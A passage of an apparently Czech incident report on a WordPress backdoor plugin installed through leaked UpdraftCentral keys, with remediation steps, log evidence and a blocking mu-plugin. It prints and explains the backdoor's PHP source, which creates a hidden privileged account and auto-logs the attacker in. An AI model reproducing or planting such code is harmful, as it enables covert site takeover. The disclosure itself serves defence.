Do\u010dasn\u00e9 \u0159e\u0161en\u00ed<\/strong><\/td>\n| zru\u0161it spojen\u00ed s UpdraftCentral, web zkontrolovat na\u0161\u00edm skriptem, zm\u011bnit heslo k \u00fa\u010dtu teamupdraft.com a voliteln\u011b zablokovat p\u0159\u00edkazy UpdraftCentral mal\u00fdm mu-pluginem (postup n\u00ed\u017ee). UpdraftPlus nen\u00ed t\u0159eba odinstalovat, z\u00e1lohov\u00e1n\u00ed funguje d\u00e1l.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n V noci na 19. \u0159\u00edjna 2026 poslal \u00fato\u010dn\u00edk z IP adresy 43.250.53.42<\/code> p\u0159es slu\u017ebu UpdraftCentral p\u0159\u00edkaz plugin.upload_plugin<\/code> na t\u0159i na\u0161e weby s WordPressem. UpdraftCentral je slu\u017eba pro vzd\u00e1lenou spr\u00e1vu web\u016f od TeamUpdraft a jej\u00ed klient je zabudovan\u00fd v ka\u017ed\u00e9 kopii pluginu UpdraftPlus. Na dvou z na\u0161ich web\u016f p\u0159\u00edkaz pro\u0161el a WordPress nainstaloval a aktivoval nezn\u00e1m\u00fd plugin. Na t\u0159et\u00edm selhal na opr\u00e1vn\u011bn\u00edch.<\/p>\nChyba nebyla na na\u0161\u00ed stran\u011b. V\u0161echny t\u0159i weby m\u011bly aktu\u00e1ln\u00ed WordPress 7.1.3 i UpdraftPlus 2.26.11, opraven\u00fd proti \u010dervnov\u00e9 zranitelnosti CVE-2026-10795. \u00dato\u010dn\u00edk se do na\u0161ich server\u016f nenabo\u0159il a nevyu\u017eil \u017e\u00e1dnou chybu v na\u0161\u00ed konfiguraci. P\u0159i\u0161el kan\u00e1lem vzd\u00e1len\u00e9 spr\u00e1vy UpdraftCentral a p\u0159\u00edkazy podepsal platn\u00fdmi soukrom\u00fdmi kl\u00ed\u010di dashboardu. Ty generuje a uchov\u00e1v\u00e1 slu\u017eba UpdraftCentral Cloud a na na\u0161ich serverech nikdy nebyly. Kdo je m\u00e1, m\u016f\u017ee na ka\u017ed\u00e9m p\u0159ipojen\u00e9m webu bez v\u011bdom\u00ed majitele nainstalovat a spustit libovoln\u00fd k\u00f3d. Proto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n Kdo je ohro\u017een:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm i pr\u00e9miov\u00fdm, kter\u00fd je p\u0159ipojen\u00fd k UpdraftCentral, tedy m\u00e1 vytvo\u0159en\u00fd kl\u00ed\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z v\u00edce ne\u017e 4 milion\u016f instalac\u00ed UpdraftPlus. Weby, kter\u00e9 k UpdraftCentral p\u0159ipojen\u00e9 nejsou, tento \u00fatok neohro\u017euje, proto\u017ee p\u0159\u00edkazy UpdraftCentral bez kl\u00ed\u010de nep\u0159ij\u00edmaj\u00ed. Na\u0161e weby byly p\u0159ipojen\u00e9 k UpdraftCentral Cloud, tedy k dashboardu, kter\u00fd provozuje TeamUpdraft. Podle v\u00fdrobce se \u00fanik net\u00fdk\u00e1 dashboard\u016f UpdraftCentral hostovan\u00fdch na vlastn\u00edm serveru. Unikly ale i kl\u00ed\u010de pro UpdraftVault a UpdraftClone, kter\u00e9 v\u00fdrobce mezit\u00edm vym\u011bnil.<\/p>\nNejde o zranitelnost CVE-2026-10795, o kter\u00e9 v \u010dervnu psal Wordfence: tu m\u011bly na\u0161e weby opravenou a pokusy o jej\u00ed zneu\u017eit\u00ed na nich selh\u00e1valy.<\/p>\n Plugin je backdoor. Na tajn\u00fd odkaz m\u011bl vytvo\u0159it \u00fa\u010det se zamaskovan\u00fdmi pr\u00e1vy administr\u00e1tora a \u00fato\u010dn\u00edka do n\u011bj rovnou p\u0159ihl\u00e1sit. Autor v\u0161ak v k\u00f3du ud\u011blal chybu, tak\u017ee backdoor nikdy nefungoval. M\u00edsto toho shodil ka\u017ed\u00fd po\u017eadavek na web, kter\u00fd ne\u0161el z cache, a WordPress n\u00e1m o tom poslal e-mail. D\u00edky tomu jsme ho na\u0161li b\u011bhem n\u011bkolika minut a\u017e hodin.<\/p>\n Incident jsme 19. \u0159\u00edjna nahl\u00e1sili TeamUpdraft a po\u017e\u00e1dali je o vysv\u011btlen\u00ed, jak se kl\u00ed\u010de dostaly k \u00fato\u010dn\u00edkovi.<\/p>\n Pokud m\u00e1te web p\u0159ipojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1ln\u011b kompromitovan\u00fd, dokud ho neov\u011b\u0159\u00edte.<\/strong> Spojen\u00ed okam\u017eit\u011b zru\u0161te a web zkontrolujte podle postupu n\u00ed\u017ee. K 19. \u0159\u00edjnu 2026 jsme o tomto backdooru ani o podobn\u00e9m \u00fatoku po \u010dervnov\u00e9 oprav\u011b nena\u0161li \u017e\u00e1dnou ve\u0159ejnou zm\u00ednku.<\/p>\nCo ud\u011blat hned<\/h2>\n1. Zru\u0161te spojen\u00ed s UpdraftCentral<\/h3>\nV administraci WordPressu otev\u0159ete Nastaven\u00ed \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klikn\u011bte na \u201eManage existing keys (N)\u2026\u201c a u ka\u017ed\u00e9ho kl\u00ed\u010de na \u201eDelete\u2026\u201c. Pokud tam \u017e\u00e1dn\u00fd kl\u00ed\u010d nen\u00ed, web p\u0159ipojen\u00fd nen\u00ed.<\/p>\n S p\u0159\u00edstupem k p\u0159\u00edkazov\u00e9 \u0159\u00e1dce tot\u00e9\u017e ud\u011bl\u00e1 tento p\u0159\u00edkaz v ko\u0159enov\u00e9m adres\u00e1\u0159i WordPressu:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nPotom web odstra\u0148te i v dashboardu UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 u webu \u2192 Remove site). Samotn\u00e9 odstran\u011bn\u00ed z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 soukrom\u00fd kl\u00ed\u010d dashboardu, tak\u017ee rozhoduje smaz\u00e1n\u00ed kl\u00ed\u010de na webu.<\/p>\n V\u00fdrobce uv\u00e1d\u00ed, \u017ee po smaz\u00e1n\u00ed kl\u00ed\u010de, kontrole webu a zm\u011bn\u011b hesel administr\u00e1tor\u016f m\u016f\u017eete web znovu p\u0159ipojit. P\u0159edt\u00edm si zm\u011b\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadejte do prohl\u00ed\u017ee\u010de ru\u010dn\u011b, ne p\u0159es odkaz z e-mailu), stejn\u00e9 heslo zm\u011b\u0148te v\u0161ude, kde jste ho pou\u017eili, a znovu nastavte dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed. Pokud m\u00e1te nasazen\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, p\u0159ed nov\u00fdm p\u0159ipojen\u00edm ho odstra\u0148te. Kdo pou\u017e\u00edv\u00e1 UpdraftVault, mus\u00ed web k n\u011bmu znovu p\u0159ipojit s nov\u00fdmi \u00fadaji.<\/p>\n 2. Ov\u011b\u0159te, zda na webu nen\u00ed backdoor<\/h3>\nBez p\u0159\u00edkazov\u00e9 \u0159\u00e1dky:<\/p>\n \n- Na stejn\u00e9 obrazovce UpdraftCentral klikn\u011bte na \u201eView recent UpdraftCentral log events\u2026\u201c. Hledejte \u0159\u00e1dky \u201eCommand received: plugin.upload_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c.<\/li>\n
- V seznamu plugin\u016f hledejte plugin s popisem \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a s n\u00e1zvem ze dvou slov a t\u0159\u00ed znak\u016f, nap\u0159\u00edklad \u201eLoad Stack 35C\u201c.<\/li>\n
- Plugin s popisem \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c je druh\u00e1 varianta. Jej\u00ed \u00fa\u010det se v seznamu u\u017eivatel\u016f nezobraz\u00ed, proto web zkontrolujte i skriptem.<\/li>\n
- V seznamu u\u017eivatel\u016f hledejte \u00fa\u010det se jm\u00e9nem \u201eSite Tools\u201c nebo s e-mailem na
@example.org<\/code>.<\/li>\n<\/ul>\nPokud je backdoor na webu, administrace nemus\u00ed fungovat, proto\u017ee plugin shazuje ka\u017ed\u00fd po\u017eadavek. Pak pou\u017eijte p\u0159\u00edkazovou \u0159\u00e1dku.<\/p>\n S p\u0159\u00edkazovou \u0159\u00e1dkou ulo\u017ete n\u00e1\u0161 kontroln\u00ed skript z konce \u010dl\u00e1nku jako check-updraftcentral.php<\/code> do ko\u0159enov\u00e9ho adres\u00e1\u0159e WordPressu a spus\u0165te:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nSkript nic nem\u011bn\u00ed, jen \u010dte. P\u0159ep\u00edna\u010d --skip-plugins<\/code> je d\u016fle\u017eit\u00fd, proto\u017ee nainstalovan\u00fd backdoor by jinak shodil i WP-CLI. \u0158\u00e1dky [ALERT]<\/code> znamenaj\u00ed stopy \u00fatoku, [WARN]<\/code> v\u011bc ke kontrole a [OK]<\/code> \u010dist\u00fd v\u00fdsledek. Z\u00e1znam o p\u0159ijat\u00e9m p\u0159\u00edkazu je\u0161t\u011b neznamen\u00e1, \u017ee se plugin nainstaloval (na jednom z na\u0161ich web\u016f nepro\u0161el), proto skript kontroluje i soubory, volby v datab\u00e1zi a \u00fa\u010dty. Pokud najde cokoli s [ALERT]<\/code>, pokra\u010dujte \u010d\u00e1st\u00ed \u201eCo d\u011blat, kdy\u017e ho najdete\u201c.<\/p>\nUpdraftPlus si v logu UpdraftCentral pamatuje jen posledn\u00edch 50 ud\u00e1lost\u00ed. Na webu, kam \u010dasto chod\u00ed skenery, m\u016f\u017ee z\u00e1znam o \u00fatoku z logu vypadnout a skript pak u logu hl\u00e1s\u00ed [OK]<\/code>. Pokud m\u00e1te p\u0159\u00edstup k log\u016fm webov\u00e9ho serveru, prohledejte i je (cestu upravte podle serveru, u nginx nap\u0159\u00edklad \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nP\u0159\u00edkaz najde po\u017eadavky UpdraftCentral bez verze knihovny v hlavi\u010dce User-Agent, jak\u00e9 pos\u00edlal \u00fato\u010dn\u00edk. Skute\u010dn\u00fd dashboard pos\u00edl\u00e1 class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho p\u0159\u00edkaz nezachyt\u00ed.<\/p>\n3. Voliteln\u011b: zablokujte p\u0159\u00edkazy UpdraftCentral \u00fapln\u011b<\/h3>\nPokud chcete m\u00edt jistotu, \u017ee web neprovede \u017e\u00e1dn\u00fd p\u0159\u00edkaz UpdraftCentral ani tehdy, kdyby na n\u011bm z\u016fstal kl\u00ed\u010d, ulo\u017ete do adres\u00e1\u0159e wp-content\/mu-plugins\/<\/code> soubor block-updraftcentral.php<\/code> s t\u00edmto obsahem:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n http_response_code( 403 );\n exit;\n}<\/code><\/pre>\nSoubory v mu-plugins<\/code> WordPress na\u010d\u00edt\u00e1 p\u0159ed b\u011b\u017en\u00fdmi pluginy, tak\u017ee se po\u017eadavek zastav\u00ed d\u0159\u00edv, ne\u017e ho UpdraftPlus zpracuje. Blokuje i migraci web\u016f p\u0159es UpdraftPlus Migrator, kter\u00e1 pou\u017e\u00edv\u00e1 stejn\u00fd kan\u00e1l. A\u017e v\u00fdrobce probl\u00e9m vysv\u011btl\u00ed a vy\u0159e\u0161\u00ed, soubor sma\u017ete.<\/p>\nJak jsme na to p\u0159i\u0161li<\/h2>\nV 5:38 n\u00e1m p\u0159i\u0161el automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s takov\u00fdm n\u00e1zvem jsme nikdy neinstalovali. Chybov\u00e1 zpr\u00e1va zn\u011bla Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracel na ka\u017ed\u00fd po\u017eadavek chybu 500.<\/p>\nV\u0161echny soubory v adres\u00e1\u0159i wp-content\/plugins\/load-stack-35c\/<\/code> m\u011bly stejn\u00fd \u010das z\u00e1pisu, 4:14:30. O sekundu pozd\u011bji se zm\u011bnil adres\u00e1\u0159 wp-content\/upgrade\/<\/code>, kter\u00fd WordPress pou\u017e\u00edv\u00e1 p\u0159i rozbalov\u00e1n\u00ed instalovan\u00fdch plugin\u016f. Plugin tedy p\u0159i\u0161el p\u0159es standardn\u00ed instal\u00e1tor WordPressu, ne nahr\u00e1n\u00edm souboru na disk. V access logu p\u0159esn\u011b v t\u00e9 sekund\u011b stoj\u00ed jedin\u00fd po\u017eadavek:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> je knihovna, p\u0159es kterou UpdraftPlus p\u0159ij\u00edm\u00e1 p\u0159\u00edkazy z UpdraftCentral. Jej\u00ed vlastn\u00ed log (volba updraftcentral_client_log<\/code> v datab\u00e1zi) to potvrdil: Command received: plugin.upload_plugin<\/code>.<\/p>\n\u010casov\u00e1 osa<\/h2>\nWeby ozna\u010dujeme A, B a C. V\u0161echny \u010dasy jsou v SEL\u010c. V\u0161echny po\u017eadavky p\u0159i\u0161ly z 43.250.53.42<\/code> (poskytovatel RedSwitches) s hlavi\u010dkou User-Agent WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Web C<\/td>\n | 19. 10. 0:41:32<\/td>\n | 6:05:31<\/td>\n | selhala, kl\u00ed\u010d pat\u0159il u\u017eivateli bez pr\u00e1va instalovat pluginy<\/td>\n<\/tr>\n | \n| Web A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | backdoor \u201eLoad Stack 35C\u201c aktivn\u00ed, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n | \n| Web B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | backdoor \u201eText Gantry Eb0\u201c aktivn\u00ed, odstran\u011bn v 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n Sonda je zpr\u00e1va adresovan\u00e1 neexistuj\u00edc\u00edmu kl\u00ed\u010di probe.central.updraftplus.com<\/code>. Web na ni odpov\u00ed, \u017ee zpr\u00e1v\u011b nerozum\u00ed, a t\u00edm prozrad\u00ed, \u017ee p\u0159ij\u00edm\u00e1 p\u0159\u00edkazy UpdraftCentral. Dal\u0161\u00ed p\u0159\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skute\u010dn\u00fd kl\u00ed\u010d 0.central.updraftplus.com<\/code>. Na v\u0161ech t\u0159ech webech prob\u011bhl \u00fatok stejn\u011b, od stejn\u00e9ho \u00fato\u010dn\u00edka, s odstupem n\u011bkolika hodin.<\/p>\nJak \u00fatok prob\u011bhl<\/h2>\nP\u0159i p\u0159ipojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r kl\u00ed\u010d\u016f RSA a ve\u0159ejn\u00fd kl\u00ed\u010d po\u0161le slu\u017eb\u011b UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00ed p\u00e1r kl\u00ed\u010d\u016f a webu po\u0161le jen sv\u016fj ve\u0159ejn\u00fd kl\u00ed\u010d. Soukrom\u00fd kl\u00ed\u010d dashboardu z\u016fst\u00e1v\u00e1 u slu\u017eby. Ka\u017ed\u00fd p\u0159\u00edkaz mus\u00ed b\u00fdt za\u0161ifrovan\u00fd pro kl\u00ed\u010d webu a podepsan\u00fd soukrom\u00fdm kl\u00ed\u010dem dashboardu. Web ho pak provede s pr\u00e1vy u\u017eivatele, kter\u00fd kl\u00ed\u010d ve WordPressu vytvo\u0159il.<\/p>\n P\u0159\u00edkaz plugin.upload_plugin<\/code> pro\u0161el na dvou webech celou touto kontrolou. Podrobn\u011b jsme to rozebrali na webu A a vylou\u010dili jsme tato vysv\u011btlen\u00ed:<\/p>\n\n- Zn\u00e1m\u00e1 zranitelnost CVE-2026-10795.<\/strong> T\u00fdk\u00e1 se verz\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby m\u011bly 2.26.11. Pokusy o jej\u00ed zneu\u017eit\u00ed vid\u00edme na webech B a C v loz\u00edch od \u010dervna z des\u00edtek IP adres a v\u0161echny skon\u010dily hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n
- Upraven\u00fd plugin.<\/strong> Soubory
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> a central\/host.php<\/code> jsou bajt po bajtu shodn\u00e9 s ofici\u00e1ln\u00ed verz\u00ed 1.26.11 z wordpress.org.<\/li>\n- Star\u0161\u00ed form\u00e1t zpr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pro kl\u00ed\u010de UpdraftCentral odm\u00edt\u00e1 a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po t\u00e9to kontrole.<\/li>\n
- Podvr\u017een\u00fd kl\u00ed\u010d dashboardu.<\/strong> Otisky kl\u00ed\u010d\u016f jsou stejn\u00e9 v denn\u00edch z\u00e1loh\u00e1ch z 15. a\u017e 18. \u0159\u00edjna i v \u017eiv\u00e9 datab\u00e1zi a v access loz\u00edch nikdo nevolal funkci pro v\u00fdm\u011bnu kl\u00ed\u010de.<\/li>\n
- Slab\u00e1 kryptografie.<\/strong> Kl\u00ed\u010d webu i dashboardu maj\u00ed RSA 2048 bit\u016f s exponentem 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, ve kter\u00e9 je opraven\u00e1 zn\u00e1m\u00e1 chyba v ov\u011b\u0159ov\u00e1n\u00ed podpis\u016f.<\/li>\n
- Napaden\u00fd wp-admin.<\/strong> Nezn\u00e1m\u00ed administr\u00e1to\u0159i nep\u0159ibyli, kontroln\u00ed sou\u010dty j\u00e1dra i plugin\u016f sed\u00ed a v loz\u00edch nen\u00ed \u017e\u00e1dn\u00e9 nahr\u00e1n\u00ed pluginu p\u0159es administraci.<\/li>\n<\/ol>\n
\u00dato\u010dn\u00edk tedy m\u011bl soukrom\u00e9 kl\u00ed\u010de dashboardu pro v\u0161echna t\u0159i spojen\u00ed najednou. Na na\u0161ich serverech tyto kl\u00ed\u010de nikdy nebyly, tak\u017ee odtud uniknout nemohly. P\u0159\u00edkazy p\u0159itom nep\u0159i\u0161ly ze serveru TeamUpdraft. Skute\u010dn\u00fd dashboard pos\u00edlal na web B v b\u0159eznu a dubnu 2026 p\u0159\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n\u00dato\u010dn\u00edk pos\u00edlal WordPress\/6.4; class-udrpc.php<\/code>, bez verze knihovny a bez URL, ze sv\u00e9ho serveru. Kl\u00ed\u010de tedy unikly z prost\u0159ed\u00ed UpdraftCentral Cloud a \u00fato\u010dn\u00edk je pou\u017eil mimo n\u011bj.<\/p>\nTeamUpdraft 19. \u0159\u00edjna potvrdil, \u017ee b\u011bhem v\u00edkendu 17. a 18. \u0159\u00edjna m\u011bl \u00fato\u010dn\u00edk p\u0159\u00edstup na teamupdraft.com a pravd\u011bpodobn\u011b i k z\u00e1kaznick\u00e9 datab\u00e1zi v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral. Kl\u00ed\u010de tedy unikly z infrastruktury v\u00fdrobce. Odpov\u00edd\u00e1 tomu i \u010dasov\u00e1 osa: kl\u00ed\u010de pro weby B a C existovaly od listopadu 2025 a \u00fato\u010dn\u00edk je nepou\u017eil a\u017e do noci z 18. na 19. \u0159\u00edjna, tedy hned po \u00faniku. Jak se \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobce neuvedl.<\/p>\n Na webu C \u00fatok selhal n\u00e1hodou. Kl\u00ed\u010d tam v listopadu 2025 vytvo\u0159il u\u017eivatel, kter\u00fd u\u017e nen\u00ed administr\u00e1tor. UpdraftCentral p\u0159ed instalac\u00ed ov\u011b\u0159uje, zda m\u00e1 vlastn\u00edk kl\u00ed\u010de pr\u00e1va install_plugins<\/code> a activate_plugins<\/code>. Nem\u011bl ani jedno.<\/p>\nPro\u010d jde o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\nKlient UpdraftCentral je sou\u010d\u00e1st\u00ed ka\u017ed\u00e9 kopie UpdraftPlus, bezplatn\u00e9 i pr\u00e9miov\u00e9. Zapne se, kdy\u017e majitel p\u0159ipoj\u00ed web k dashboardu. Od t\u00e9 chv\u00edle web provede ka\u017ed\u00fd p\u0159\u00edkaz podepsan\u00fd kl\u00ed\u010dem dashboardu s pr\u00e1vy administr\u00e1tora, kter\u00fd spojen\u00ed vytvo\u0159il, v\u010detn\u011b nahr\u00e1n\u00ed a aktivace libovoln\u00e9ho pluginu. Majitel webu p\u0159\u00edkaz nepotvrzuje a v na\u0161em p\u0159\u00edpad\u011b n\u00e1s na n\u011bj nic neupozornilo. Kl\u00ed\u010de na stran\u011b webu nemaj\u00ed dobu platnosti: ty z listopadu 2025 fungovaly i v \u0159\u00edjnu 2026.<\/p>\n Bezpe\u010dnost v\u0161ech p\u0159ipojen\u00fdch web\u016f tak stoj\u00ed na jedin\u00e9m p\u0159edpokladu, \u017ee soukrom\u00e9 kl\u00ed\u010de dashboardu neuniknou. Unikly, a \u00fato\u010dn\u00edk z jednoho m\u00edsta b\u011bhem p\u00e1r hodin ovl\u00e1dl dva weby a pokusil se o t\u0159et\u00ed. UpdraftPlus m\u00e1 v\u00edce ne\u017e 4 miliony aktivn\u00edch instalac\u00ed. Po\u010dtem instalac\u00ed ho mezi pluginy se z\u00e1lohov\u00e1n\u00edm na wordpress.org p\u0159edb\u00edh\u00e1 jen All-in-One WP Migration (5+ milion\u016f), kter\u00fd slou\u017e\u00ed hlavn\u011b k migraci web\u016f. UpdraftCentral pou\u017e\u00edv\u00e1 jen \u010d\u00e1st u\u017eivatel\u016f UpdraftPlus, i mal\u00fd pod\u00edl ze 4 milion\u016f v\u0161ak znamen\u00e1 hodn\u011b web\u016f.<\/p>\n Stejn\u00fd kan\u00e1l u\u017e jednou selhal. V \u010dervnu 2026 v\u00fdrobce opravil zranitelnost CVE-2026-10795 (CVSS 8.1), p\u0159es kterou mohl \u00fato\u010dn\u00edk bez p\u0159ihl\u00e1\u0161en\u00ed podvrhnout p\u0159\u00edkazy UpdraftCentral a nainstalovat a aktivovat \u0161kodliv\u00fd plugin. Pokusy o jej\u00ed zneu\u017eit\u00ed zachyt\u00e1v\u00e1me v na\u0161ich loz\u00edch dodnes.<\/p>\n Co p\u0159esn\u011b backdoor d\u011bl\u00e1<\/h2>\nPlugin m\u00e1 p\u011bt soubor\u016f, ale logiku obsahuje jen hlavn\u00ed. Tady je jeho podstatn\u00e1 \u010d\u00e1st ze vzorku z webu A. Token a heslo jsme zkr\u00e1tili:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 znak\u016f\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 znak\u016f\n\nfinal class LoadStack35c {\n private function __construct() {\n add_action( 'init', array( $this, 'handle_sync' ), 1 );\n }\n\n public function handle_sync() {\n if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n $user = get_user_by( 'login', self::SVC_LOGIN );\n if ( ! $user ) {\n $uid = wp_insert_user( array(\n 'user_login' => self::SVC_LOGIN,\n 'user_pass' => self::SVC_PASS,\n 'user_email' => self::SVC_LOGIN . '@example.org',\n 'display_name' => 'Site Tools',\n 'role' => 'editor',\n ) );\n if ( is_wp_error( $uid ) ) return;\n $u = new WP_User( $uid );\n $u->add_cap( 'manage_options' );\n $u->add_cap( 'install_plugins' );\n $user = get_user_by( 'id', $uid );\n }\n wp_set_current_user( $user->ID, $user->user_login );\n wp_set_auth_cookie( $user->ID, true, is_ssl() );\n wp_safe_redirect( admin_url( 'index.php' ) );\n exit;\n }\n }\n}\n\nregister_activation_hook( __FILE__, function () {\n if ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n update_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nTakto by fungoval, kdyby v n\u011bm nebyla chyba:<\/p>\n \n- P\u0159i ka\u017ed\u00e9m po\u017eadavku na web se zav\u011bs\u00ed na akci
init<\/code> s prioritou 1, tedy d\u0159\u00edve ne\u017e v\u011bt\u0161ina ostatn\u00edch plugin\u016f.<\/li>\n- Pod\u00edv\u00e1 se, zda adresa obsahuje parametr
?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32znakov\u00fdm tokenem. Porovn\u00e1v\u00e1 funkc\u00ed hash_equals<\/code>, kter\u00e1 trv\u00e1 stejn\u011b dlouho bez ohledu na shodu, tak\u017ee token nejde uhodnout m\u011b\u0159en\u00edm \u010dasu odpov\u011bdi. Bez spr\u00e1vn\u00e9ho tokenu se nestane nic a web se chov\u00e1 norm\u00e1ln\u011b.<\/li>\n- Se spr\u00e1vn\u00fdm tokenem vytvo\u0159\u00ed u\u017eivatele
data-ops43<\/code> s heslem zapsan\u00fdm v pluginu, e-mailem data-ops43@example.org<\/code> a zobrazovan\u00fdm jm\u00e9nem \u201eSite Tools\u201c.<\/li>\n- D\u00e1 mu roli Editor a k tomu dv\u011b samostatn\u00e1 opr\u00e1vn\u011bn\u00ed:
manage_options<\/code> a install_plugins<\/code>.<\/li>\n- P\u0159ihl\u00e1s\u00ed n\u00e1v\u0161t\u011bvn\u00edka jako tohoto u\u017eivatele p\u0159es
wp_set_auth_cookie<\/code> s volbou \u201ezapamatovat si m\u011b\u201c, tedy cookie platnou 14 dn\u00ed. P\u0159ihla\u0161ovac\u00ed formul\u00e1\u0159 t\u00edm \u00fapln\u011b obejde, tak\u017ee na n\u011bj nep\u016fsob\u00ed dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed, omezen\u00ed po\u010dtu pokus\u016f ani ochrana p\u0159ihl\u00e1\u0161en\u00ed ve Wordfence.<\/li>\n- P\u0159esm\u011bruje ho do administrace.<\/li>\n<\/ol>\n
Role Editor se dv\u011bma opr\u00e1vn\u011bn\u00edmi nav\u00edc je z\u00e1m\u011br. V seznamu u\u017eivatel\u016f se \u00fa\u010det ukazuje jako Editor, ne Administr\u00e1tor, tak\u017ee p\u0159i b\u011b\u017en\u00e9 kontrole admin\u016f ho p\u0159ehl\u00e9dnete. Prakticky m\u00e1 ale plnou moc nad webem:<\/p>\n \ninstall_plugins<\/code> dovol\u00ed nahr\u00e1t libovoln\u00fd plugin. Jeho PHP soubory jde spustit p\u0159\u00edmo p\u0159es URL i bez aktivace, co\u017e znamen\u00e1 spu\u0161t\u011bn\u00ed libovoln\u00e9ho k\u00f3du na serveru.<\/li>\nmanage_options<\/code> zp\u0159\u00edstupn\u00ed v\u0161echna nastaven\u00ed. Sta\u010d\u00ed zapnout registraci a v\u00fdchoz\u00ed roli nastavit na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvo\u0159\u00ed plnohodnotn\u00e9ho admina.<\/li>\n- Editor m\u00e1 na b\u011b\u017en\u00e9m WordPressu i
unfiltered_html<\/code>, tak\u017ee m\u016f\u017ee do \u010dl\u00e1nk\u016f vlo\u017eit JavaScript, kter\u00fd se spust\u00ed v prohl\u00ed\u017ee\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\nBackdoor m\u00e1 i druhou vrstvu. Vytvo\u0159en\u00fd \u00fa\u010det se zn\u00e1m\u00fdm heslem z\u016fstane ve WordPressu i po odstran\u011bn\u00ed pluginu a \u00fato\u010dn\u00edk se j\u00edm um\u00ed p\u0159ihl\u00e1sit p\u0159es b\u011b\u017en\u00fd formul\u00e1\u0159, pokud tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed.<\/p>\n Chyba, kter\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\nKonstanty jsou definovan\u00e9 funkc\u00ed define()<\/code> jako glob\u00e1ln\u00ed (LOADSTACK35C_FIELD<\/code>), ale k\u00f3d je \u010dte jako konstanty t\u0159\u00eddy (self::FIELD<\/code>). T\u0159\u00edda \u017e\u00e1dn\u00e9 konstanty nem\u00e1. PHP 8 proto p\u0159i prvn\u00edm vyhodnocen\u00ed self::FIELD<\/code> vyhod\u00ed Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane se to je\u0161t\u011b p\u0159ed kontrolou tokenu, tedy p\u0159i ka\u017ed\u00e9m po\u017eadavku: p\u0159i b\u011b\u017en\u00e9 n\u00e1v\u0161t\u011bv\u011b, v administraci, p\u0159i p\u0159ihl\u00e1\u0161en\u00ed, v REST API, p\u0159i cronu i ve WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje jen str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\nPo\u017eadavek s instalac\u00ed p\u0159itom dob\u011bhl \u00fasp\u011b\u0161n\u011b. UpdraftCentral 